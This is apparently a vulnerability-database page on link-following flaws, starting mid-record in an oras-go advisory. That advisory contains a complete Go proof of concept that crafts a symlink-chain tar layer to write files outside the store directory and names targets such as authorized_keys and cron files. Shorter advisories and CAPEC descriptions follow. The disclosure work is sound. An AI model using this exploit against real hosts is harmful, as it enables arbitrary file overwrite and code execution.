attacker\u0027s payload through the symlink to `\u003cabsTarget\u003e`.\n\n**Why v2.6.1\u0027s `checkSymlinkEscape` does not help.** The fix for GHSA-8xwf-rjm4-xvhv added a symlink-resolving containment check, but it is called only from `resolveWritePath` (`content/file/file.go` line 632) on the **`pushFile`** path. `pushDir` \u2192 `extractTarGzip` \u2192 `extractTarDirectory` never calls it; `content/file/utils.go` is byte-identical between v2.6.0 and v2.6.1.\n\n**Suggested remediation.** Any of: (a) `Lstat` the final path component before opening for write and reject symlinks; (b) open with `O_NOFOLLOW` (or `O_EXCL` for new files); (c) resolve link targets with `filepath.EvalSymlinks` on the deepest existing ancestor (as `checkSymlinkEscape` already does) instead of lexical `filepath.Join`; (d) extract into a fresh empty directory and use `openat2(RESOLVE_BENEATH)` / `os.Root` (Go 1.24+) for all filesystem operations.\n\n### PoC\n```\ngo mod init poc\ngo get oras.land/oras-go/v2@v2.6.1\ngo run .\n```\n\n```go\n// Arbitrary file write outside a default-configured file.Store via\n// symlink-chain bypass in content/file.extractTarDirectory.\n//\n// ensureLinkPath() validates symlink targets purely lexically with\n// filepath.Join, which collapses \"..\" textually and does not follow\n// intermediate symlink components. By first planting a deep \"up\" symlink\n// that legitimately resolves to the extraction root, an \"escape\" symlink\n// can be crafted whose lexical target stays in-bounds but whose\n// kernel-resolved target is any absolute path. A follow-up TypeReg entry\n// with the same name is opened with O_CREATE|O_TRUNC (no O_NOFOLLOW),\n// writing through the symlink.\n//\n// Realistic trigger: oras.Copy() from an untrusted registry into a\n// file.New() store. The attacker controls the manifest (sets\n// AnnotationTitle + AnnotationUnpack=true on a layer) and the layer blob.\n// All digests are honest, so content verification passes.\npackage main\n\nimport (\n        \"archive/tar\"\n        \"bytes\"\n        \"compress/gzip\"\n        \"context\"\n        _ \"crypto/sha256\"\n        \"fmt\"\n        \"os\"\n        \"path/filepath\"\n        \"strings\"\n\n        \"github.com/opencontainers/go-digest\"\n        ocispec \"github.com/opencontainers/image-spec/specs-go/v1\"\n        \"oras.land/oras-go/v2/content/file\"\n)\n\nfunc main() {\n        if err := run(); err != nil {\n                fmt.Println(\"ERROR:\", err)\n                os.Exit(1)\n        }\n}\n\nfunc run() error {\n        ctx := context.Background()\n\n        // Victim\u0027s working directory for the file store.\n        workDir, err := os.MkdirTemp(\"\", \"oras-victim-*\")\n        if err != nil {\n                return err\n        }\n        defer os.RemoveAll(workDir)\n        fmt.Println(\"[*] file.Store working dir:\", workDir)\n\n        // Target path the attacker wants to write, OUTSIDE workDir.\n        // (Could be ~/.ssh/authorized_keys, ~/.bashrc, /etc/cron.d/x, etc.;\n        // a temp path keeps the demo self-contained.)\n        outsidePath := filepath.Join(os.TempDir(), \"oras-PWNED\")\n        _ = os.Remove(outsidePath)\n        defer os.Remove(outsidePath)\n        fmt.Println(\"[*] attacker target (outside workDir):\", outsidePath)\n\n        // The layer\u0027s AnnotationTitle. extractTarDirectory uses this as both the\n        // in-tar prefix and the on-disk subdir under workDir.\n        const title = \"out\"\n        baseAbs := filepath.Join(workDir, title)\n\n        // N nested dirs + a symlink \"up\" -\u003e N*\"../\" so that after the kernel\n        // follows \"up\" (landing at baseAbs) the remaining N lexical \"..\"\n        // components climb from baseAbs to \"/\". N must be \u003e= depth(baseAbs).\n        depth := len(strings.Split(strings.Trim(filepath.ToSlash(baseAbs), \"/\"), \"/\"))\n        fmt.Printf(\"[*] baseAbs depth = %d, building %d nested dirs\\n\", depth, depth)\n\n        gz, dgst, size, err := buildMaliciousLayer(title, depth, outsidePath)\n        if err != nil {\n                return err\n        }\n\n        // Descriptor exactly as it would appear in a manifest\u0027s \"layers\" array.\n        desc := ocispec.Descriptor{\n                MediaType: \"application/vnd.oci.image.layer.v1.tar+gzip\",\n                Digest:    dgst,\n                Size:      size,\n                Annotations: map[string]string{\n                        ocispec.AnnotationTitle: title,\n                        file.AnnotationUnpack:   \"true\",\n                },\n        }\n\n        // Victim creates a file store with default settings (path traversal DISALLOWED).\n        store, err := file.New(workDir)\n        if err != nil {\n                return err\n        }\n        defer store.Close()\n        fmt.Println(\"[*] store.AllowPathTraversalOnWrite =\", store.AllowPathTraversalOnWrite)\n\n        // This is exactly what oras.Copy() invokes per layer.\n        if err := store.Push(ctx, desc, bytes.NewReader(gz)); err != nil {\n                return fmt.Errorf(\"Push: %w\", err)\n        }\n\n        // Check whether the out-of-tree file was written.\n        if data, err := os.ReadFile(outsidePath); err == nil {\n                rel, _ := filepath.Rel(workDir, outsidePath)\n                fmt.Printf(\"\\n[!] BYPASS: wrote %q to %s\\n\", string(data), outsidePath)\n                fmt.Printf(\"[!] relative to workDir: %s\\n\", rel)\n                fmt.Println(\"[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir\")\n                return nil\n        }\n        fmt.Println(\"\\n[-] no escape (file not created at\", outsidePath, \")\")\n        return nil\n}\n\n// buildMaliciousLayer builds a tar.gz that, when extracted by\n// content/file.extractTarDirectory under \u003cworkDir\u003e/\u003ctitle\u003e, writes to outsidePath.\nfunc buildMaliciousLayer(title string, depth int, outsidePath string) ([]byte, digest.Digest, int64, error) {\n        var buf bytes.Buffer\n        gzw := gzip.NewWriter(\u0026buf)\n        tw := tar.NewWriter(gzw)\n\n        // 1. Nested directories: title/d0/d1/.../d{depth-1}\n        dirs := make([]string, depth)\n        for i := 0; i \u003c depth; i++ {\n                dirs[i] = fmt.Sprintf(\"d%d\", i)\n        }\n        for i := 1; i \u003c= depth; i++ {\n                name := title + \"/\" + strings.Join(dirs[:i], \"/\")\n                if err := tw.WriteHeader(\u0026tar.Header{Typeflag: tar.TypeDir, Name: name, Mode: 0o755}); err != nil {\n                        return nil, \"\", 0, err\n                }\n        }\n\n        // 2. \"up\" symlink at the bottom, pointing back to baseAbs via depth*\"../\".\n        //    Lexically AND on disk this resolves to baseAbs - passes ensureLinkPath.\n        upName := title + \"/\" + strings.Join(dirs, \"/\") + \"/up\"\n        upTarget := strings.Repeat(\"../\", depth-1) + \"..\"\n        if err := tw.WriteHeader(\u0026tar.Header{Typeflag: tar.TypeSymlink, Name: upName, Linkname: upTarget, Mode: 0o777}); err != nil {\n                return nil, \"\", 0, err\n        }\n\n        // 3. \"escape\" symlink at title/escape.\n        //    Target = d0/.../d{N-1}/up/../.. (N times) /\u003coutsidePath\u003e\n        //    LEXICAL clean: the N \"..\" cancel \"up\" + (N-1) dirs, leaving\n        //      d0/\u003coutsidePath\u003e  - INSIDE baseAbs, so ensureLinkPath accepts it.\n        //    KERNEL: d0/.../up follows the symlink to baseAbs, then N*\"..\"\n        //      climbs to \"/\", then appends outsidePath.\n        dots := strings.Repeat(\"../\", depth-1) + \"..\"\n        escapeTarget := strings.Join(dirs, \"/\") + \"/up/\" + dots + outsidePath\n        if err := tw.WriteHeader(\u0026tar.Header{Typeflag: tar.TypeSymlink, Name: title + \"/escape\", Linkname: escapeTarget, Mode: 0o777}); err != nil {\n                return nil, \"\", 0, err\n        }\n\n        // 4. Regular file entry at title/escape - same path as the symlink.\n        //    resolveRelToBase(\"escape\") has dir==\".\" so the per-component Lstat\n        //    loop never runs; writeFile opens with O_CREATE|O_TRUNC (no\n        //    O_NOFOLLOW) and writes through the symlink to outsidePath.\n        payload := []byte(\"PWNED-BY-ORAS-TARSLIP\")\n        if err := tw.WriteHeader(\u0026tar.Header{Typeflag: tar.TypeReg, Name: title + \"/escape\", Mode: 0o644, Size: int64(len(payload))}); err != nil {\n                return nil, \"\", 0, err\n        }\n        if _, err := tw.Write(payload); err != nil {\n                return nil, \"\", 0, err\n        }\n\n        if err := tw.Close(); err != nil {\n                return nil, \"\", 0, err\n        }\n        if err := gzw.Close(); err != nil {\n                return nil, \"\", 0, err\n        }\n\n        data := buf.Bytes()\n        return data, digest.FromBytes(data), int64(len(data)), nil\n}\n```\n\nExpected output (paths vary):\n\n```\n[*] file.Store working dir: /tmp/oras-victim-209731351\n[*] attacker target (outside workDir): /tmp/oras-PWNED\n[*] baseAbs depth = 3, building 3 nested dirs\n[*] store.AllowPathTraversalOnWrite = false\n\n[!] BYPASS: wrote \"PWNED-BY-ORAS-TARSLIP\" to /tmp/oras-PWNED\n[!] relative to workDir: ../oras-PWNED\n[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir\n```\n\n### Impact\n**Who is affected:** Any application that pulls or pushes OCI artifacts from an untrusted or attacker-influenced source into a `content/file.Store` \u2014 e.g. `oras.Copy(ctx, remoteRepo, ref, file.New(dir), ref, opts)`, the documented primary use of the file store \u2014 with default settings (`AllowPathTraversalOnWrite=false`, `SkipUnpack=false`). Downstream consumers include the ORAS CLI (`oras pull` to a directory) and tools built on oras-go that materialise artifact contents on disk.\n\n**What the attacker gains:** Arbitrary file create/overwrite anywhere writable by the pulling process. Practical escalations include overwriting `~/.ssh/authorized_keys`, `~/.bashrc`/`~/.profile`, Git hooks, or (when running as root, e.g. in CI or a controller) `/etc/cron.d/*` or binaries on `$PATH` \u2014 i.e. remote code execution on the victim host.\n\n**Preconditions / reachability:** No local preconditions beyond pulling an attacker-controlled artifact; the attacker does **not** need any pre-existing symlink in the victim\u0027s working directory (unlike GHSA-8xwf-rjm4-xvhv / CVE-2026-50162, which this issue is distinct from). The attack is delivered over the network via a registry the victim pulls from; no authentication to the victim is required. User interaction is limited to the victim choosing to pull the artifact (`UI:R`).",
  "id": "GHSA-m37j-52j7-pjw7",
  "modified": "2026-09-17T17:15:57Z",
  "published": "2026-09-17T17:15:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oras-project/oras-go/security/advisories/GHSA-m37j-52j7-pjw7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85731"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oras-project/oras-go/commit/adab2f25ea95ef4e6e41f50db9266a6701399422"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oras-project/oras-go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oras-project/oras-go/releases/tag/v2.6.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "oras-go: Arbitrary file write outside file.Store root via symlink-chain bypass in tar extraction (pushDir)"
}

GHSA-M3PV-JRFQ-7XP6

Vulnerability from github – Published: 2024-11-23 03:31 – Updated: 2024-11-23 03:31
VLAI
Details

Panda Security Dome Link Following Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Panda Security Dome. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.

The specific flaw exists within the PSANHost executable. By creating a junction, an attacker can abuse the service to create arbitrary files. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-23413.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-7243"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-22T22:15:17Z",
    "severity": "HIGH"
  },
  "details": "Panda Security Dome Link Following Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Panda Security Dome. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the PSANHost executable. By creating a junction, an attacker can abuse the service to create arbitrary files. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-23413.",
  "id": "GHSA-m3pv-jrfq-7xp6",
  "modified": "2024-11-23T03:31:58Z",
  "published": "2024-11-23T03:31:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7243"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-24-1013"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M3QC-45F7-WFVH

Vulnerability from github – Published: 2022-04-30 18:17 – Updated: 2022-04-30 18:17
VLAI
Details

fetchmailconf in fetchmail before 5.7.4 allows local users to overwrite files of other users via a symlink attack on temporary files.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2001-1378"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2001-09-06T04:00:00Z",
    "severity": "LOW"
  },
  "details": "fetchmailconf in fetchmail before 5.7.4 allows local users to overwrite files of other users via a symlink attack on temporary files.",
  "id": "GHSA-m3qc-45f7-wfvh",
  "modified": "2022-04-30T18:17:55Z",
  "published": "2022-04-30T18:17:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2001-1378"
    },
    {
      "type": "WEB",
      "url": "http://lists.ccil.org/pipermail/fetchmail-announce/2001-March/000015.html"
    },
    {
      "type": "WEB",
      "url": "http://www.redhat.com/support/errata/RHSA-2001-103.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-M3RX-6QWW-MHM3

Vulnerability from github – Published: 2025-05-23 00:30 – Updated: 2025-05-23 00:30
VLAI
Details

Improper link resolution before file access ('link following') in Microsoft Edge (Chromium-based) allows an authorized attacker to elevate privileges locally.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-47181"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-22T22:15:30Z",
    "severity": "HIGH"
  },
  "details": "Improper link resolution before file access (\u0027link following\u0027) in Microsoft Edge (Chromium-based) allows an authorized attacker to elevate privileges locally.",
  "id": "GHSA-m3rx-6qww-mhm3",
  "modified": "2025-05-23T00:30:19Z",
  "published": "2025-05-23T00:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47181"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-47181"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-48.1
Architecture and Design

Strategy: Separation of Privilege

  • Follow the principle of least privilege when assigning access rights to entities in a software system.
  • Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
CAPEC-132: Symlink Attack

An adversary positions a symbolic link in such a manner that the targeted user or application accesses the link's endpoint, assuming that it is accessing a file with the link's name.

CAPEC-17: Using Malicious Files

An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.